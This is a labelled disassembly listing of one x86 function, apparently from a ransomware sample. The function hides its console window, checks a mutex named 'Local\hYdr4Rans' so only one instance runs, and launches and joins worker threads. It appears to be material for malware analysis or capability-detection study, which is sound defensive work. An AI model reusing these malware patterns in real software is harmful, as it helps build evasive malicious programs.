Function at 0x4119d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55122b
mov eax, dword fs:[0]
push eax
sub esp, 0x1b4
mov eax, dword [0x5c0078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.Local_hYdr4Rans_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x411a48
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004351b3
mov esp, ebp
pop ebp
ret
call fcn.0040d160
call fcn.00410180
lea ecx, [ebp - 0x58]
call fcn.0040b5d0
mov esi, eax
cmp esi, 0x5cbee4
je 0x411aa6
mov eax, dword [0x5cbef8]
cmp eax, 0x10
jb 0x411a80
inc eax
mov ecx, 0x5cbee4
push eax
push dword [0x5cbee4]
call fcn.00404f30
push esi
mov ecx, 0x5cbee4
mov dword [0x5cbef8], 0xf
mov dword [0x5cbef4], 0
mov byte [0x5cbee4], 0
call fcn.00404cb0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x411ac2
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00404f30
cmp dword [0x5cc080], 0x10
mov ecx, 0x5cc06c
mov edx, dword [0x5cc07c]
cmovae ecx, dword [0x5cc06c]
push 0
push 0x5aee61
call fcn.00417750
add esp, 8
test eax, eax
je 0x411f73
cmp dword [0x5cbf40], 0x10
mov ecx, 0x5cbf2c
mov edx, dword [0x5cbf3c]
cmovae ecx, dword [0x5cbf2c]
push 0
push 0x5aee61
call fcn.00417750
add esp, 8
test eax, eax
jne 0x411f73
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x28], xmm0
xor ebx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], ebx
call fcn.0040b800
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
cmp esi, edi
je 0x411e84
push 0xffffffffffffffff
push 0
push esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
call fcn.00404950
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1b0]
push 2
push 0x5b2b20
mov dword [ebp - 0x19c], 0xf
mov dword [ebp - 0x1a0], 0
mov byte [ebp - 0x1b0], 0
call fcn.00404850
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x198]
push 1
push 0x5b2b24
mov dword [ebp - 0x184], 0xf
mov dword [ebp - 0x188], 0
mov byte [ebp - 0x198], 0
call fcn.00404850
lea eax, [ebp - 0x1b0]
mov byte [ebp - 4], 5
push eax
lea edx, [ebp - 0x198]
lea ecx, [ebp - 0x58]
call fcn.0040b7a0
add esp, 4
mov dword [ebp - 0x2c], 0xf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
push 0xffffffffffffffff
push 0
push eax
call fcn.00404950
mov eax, dword [ebp - 0x184]
cmp eax, 0x10
jb 0x411c41
inc eax
lea ecx, [ebp - 0x198]
push eax
push dword [ebp - 0x198]
call fcn.00404f30
mov dword [ebp - 0x184], 0xf
mov dword [ebp - 0x188], 0
mov byte [ebp - 0x198], 0
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x19c]
cmp eax, 0x10
jb 0x411c7e
inc eax
lea ecx, [ebp - 0x1b0]
push eax
push dword [ebp - 0x1b0]
call fcn.00404f30
push 0x104
lea eax, [ebp - 0x174]
mov dword [ebp - 0x19c], 0xf
push 0
push eax
mov dword [ebp - 0x1a0], 0
mov byte [ebp - 0x1b0], 0
call fcn.00527720
add esp, 0xc
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x174], ecx
lea ecx, [ebp - 0x174]
cmovae eax, dword [ebp - 0x40]
push 3
push eax
call fcn.004171b0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x70]
call fcn.0040a6e0
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0xa
push eax
lea edx, [ebp - 0x178]
mov dword [ebp - 0x178], fcn.0040e990
lea ecx, [ebp - 0x180]
call fcn.0041b220
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1b8]
call fcn.0041b2b0
mov ebx, dword [ebp - 0x180]
test ebx, ebx
je 0x411d62
cmp dword [ebx + 0x14], 8
jb 0x411d38
mov eax, dword [ebx + 0x14]
mov ecx, ebx
inc eax
push eax
push dword [ebx]
call fcn.00418e70
mov dword [ebx + 0x14], 7
cmp dword [ebx + 0x14], 8
mov dword [ebx + 0x10], 0
jb 0x411d50
mov eax, dword [ebx]
jmp 0x411d52
mov eax, ebx
xor ecx, ecx
push 0x1c
push ebx
mov word [eax], cx
call fcn.004356a5
add esp, 8
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x28]
call fcn.00411fe0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x1b4], 0
setne al
test al, al
jne 0x411f7f
lea eax, [ebp - 0x40]
mov dword [ebp - 0x178], 0x40e3b0
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x17c]
call fcn.0041b400
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1c0]
call fcn.0041b490
mov eax, dword [ebp - 0x17c]
test eax, eax
je 0x411dce
push eax
call fcn.0041aaf0
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x28]
call fcn.00411fe0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x1bc], 0
setne al
test al, al
jne 0x411f7f
mov eax, dword [ebp - 0x5c]
cmp eax, 8
jb 0x411e0c
inc eax
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
call fcn.00418e70
xor eax, eax
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
lea ecx, [ebp - 0x170]
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x60], 0
cmp eax, ecx
je 0x411e39
push eax
call fcn.0052e03c
add esp, 4
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x411e4e
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404f30
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x411e67
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00404f30
add esi, 0x18
cmp esi, edi
jne 0x411b67
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x411efb
lea esi, [eax + 4]
nop
cmp dword [esi], 0
jne 0x411eae
push 1
call fcn.004201cf
add esp, 4
cmp dword [esi], 0
jne 0x411eae
push 1
call fcn.004201cf
add esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi], eax
jne 0x411ec1
push 5
call fcn.004201cf
add esp, 4
push 0
push dword [esi]
push dword [esi - 4]
call fcn.004228b7
add esp, 0xc
test eax, eax
je 0x411ede
push 2
call fcn.004201cf
add esp, 4
mov dword [esi - 4], 0
mov dword [esi], 0
add esi, 8
lea eax, [esi - 4]
cmp eax, ebx
jne 0x411e90
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x411f47
push dword [ebp - 0x17c]
mov edx, edi
push ecx
mov ecx, esi
call fcn.0041b760
mov ecx, dword [ebp - 0x14]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1c]
add esp, 8
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
call fcn.004187d0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x411f73
mov eax, ecx
cmp ecx, ebx
je 0x411f61
cmp dword [eax + 4], 0
jne 0x411f7f
add eax, 8
cmp eax, ebx
jne 0x411f54
mov eax, dword [ebp - 0x178]
sub eax, ecx
sar eax, 3
push eax
push ecx
call fcn.00418580
call fcn.00411910
push 0
call fcn.0052e5d8
call fcn.0052ecec
int3